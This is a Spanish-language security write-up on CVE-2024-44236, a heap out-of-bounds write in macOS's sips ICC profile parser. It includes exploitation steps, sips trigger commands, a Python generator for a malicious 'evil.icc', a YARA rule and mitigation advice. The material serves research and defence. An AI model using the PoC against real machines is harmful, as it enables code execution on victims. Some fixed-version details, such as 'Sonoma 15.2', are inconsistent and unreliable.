# WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236) {{#include ../../banners/hacktricks-training.md}} ## Overview Una vulnerabilidad de **escritura cero** fuera de límites en el analizador de perfiles ICC de Apple macOS **Scriptable Image Processing System** (`sips`) (macOS 15.0.1, `sips-307`) permite a un atacante corromper los metadatos del heap y pivotar el primitivo hacia una ejecución de código completa. El error se encuentra en el manejo del campo `offsetToCLUT` de las etiquetas `lutAToBType` (`mAB `) y `lutBToAType` (`mBA `). Si los atacantes establecen `offsetToCLUT == tagDataSize`, el analizador borra **16 bytes más allá del final del buffer del heap**. La pulverización del heap permite al atacante poner a cero las estructuras del asignador o punteros de C++ que luego serán desreferenciados, lo que da lugar a una cadena de **escritura arbitraria a ejecución** (CVE-2024-44236, CVSS 7.8). > Apple corrigió el error en macOS Sonoma 15.2 / Ventura 14.7.1 (30 de octubre de 2024). Una segunda variante (CVE-2025-24185) fue corregida en macOS 15.5 y iOS/iPadOS 18.5 el 1 de abril de 2025. ## Vulnerable Code ```c // Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1) if (offsetToCLUT <= tagDataSize) { // BAD ➜ zero 16 bytes starting *at* offsetToCLUT for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++) buffer[i] = 0; // no bounds check vs allocated size! } ``` ## Pasos de Explotación 1. **Crear un perfil `.icc` malicioso** * Configurar un encabezado ICC mínimo (`acsp`) y agregar una etiqueta `mAB ` (o `mBA `). * Configurar la tabla de etiquetas para que **`offsetToCLUT` sea igual al tamaño de la etiqueta** (`tagDataSize`). * Colocar datos controlados por el atacante justo después de la etiqueta para que las 16 escrituras en cero se superpongan con los metadatos del asignador. 2. **Activar el análisis con cualquier operación de sips que toque el perfil** ```bash # ruta de verificación (no se necesita archivo de salida) sips --verifyColor evil.icc # o implícitamente al convertir imágenes que incrustan el perfil sips -s format png payload.jpg --out out.png ``` 3. **Corrupción de metadatos de heap ➜ escritura arbitraria ➜ ROP** En el asignador **`nano_zone`** por defecto de Apple, los metadatos para ranuras de 16 bytes viven **inmediatamente después** de la losa alineada de 0x1000. Al colocar la etiqueta del perfil al final de tal losa, las 16 escrituras en cero sobrescriben `meta->slot_B`. Después de un `free` subsiguiente, el puntero envenenado se encola en la lista de libres pequeños, permitiendo al atacante **asignar un objeto falso en una dirección arbitraria** y sobrescribir un puntero de vtable de C++ utilizado por sips, finalmente pivotando la ejecución a una cadena ROP almacenada en el búfer ICC malicioso. ### Generador de PoC rápido (Python 3) ```python #!/usr/bin/env python3 import struct, sys HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding) TAGS = [(b'mAB ', 132, 52)] # one tag directly after header profile = HDR profile += struct.pack('>I', len(TAGS)) # tag count profile += b''.join(struct.pack('>4sII', *t) for t in TAGS) mab = bytearray(52) # tag payload (52 bytes) struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start) profile += mab open('evil.icc', 'wb').write(profile) print('[+] Wrote evil.icc (%d bytes)' % len(profile)) ``` ### Regla de detección YARA ```yara rule ICC_mAB_offsetToCLUT_anomaly { meta: description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)" author = "HackTricks" strings: $magic = { 61 63 73 70 } // 'acsp' $mab = { 6D 41 42 20 } // 'mAB ' $mba = { 6D 42 41 20 } // 'mBA ' condition: $magic at 0 and for any i in (0 .. 10): // up to 10 tags ( ($mab at 132 + 12*i or $mba at 132 + 12*i) and uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size ) } ``` ## Impacto Abrir o procesar un perfil ICC diseñado lleva a la **ejecución remota de código arbitrario** en el contexto del usuario que lo invoca (Vista previa, QuickLook, renderizado de imágenes en Safari, archivos adjuntos de Mail, etc.), eludiendo Gatekeeper porque el perfil puede estar incrustado dentro de imágenes de otro modo benignas (PNG/JPEG/TIFF). ## Detección y Mitigación * **¡Parchea!** Asegúrate de que el host esté ejecutando macOS ≥ 15.2 / 14.7.1 (o iOS/iPadOS ≥ 18.1). * Despliega la regla YARA anterior en gateways de correo electrónico y soluciones EDR. * Elimina o sanitiza los perfiles ICC incrustados con `exiftool -icc_profile= -overwrite_original ` antes de procesar archivos no confiables. * Refuerza Vista previa/QuickLook ejecutándolos dentro de VMs "de transparencia y modernización" en sandbox al analizar contenido desconocido. * Para DFIR, busca la ejecución reciente de `sips --verifyColor` o cargas de la biblioteca `ColorSync` por aplicaciones en sandbox en el registro unificado. ## Referencias * Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/ * Apple security updates HT213981 “About the security content of macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981 {{#include ../../banners/hacktricks-training.md}}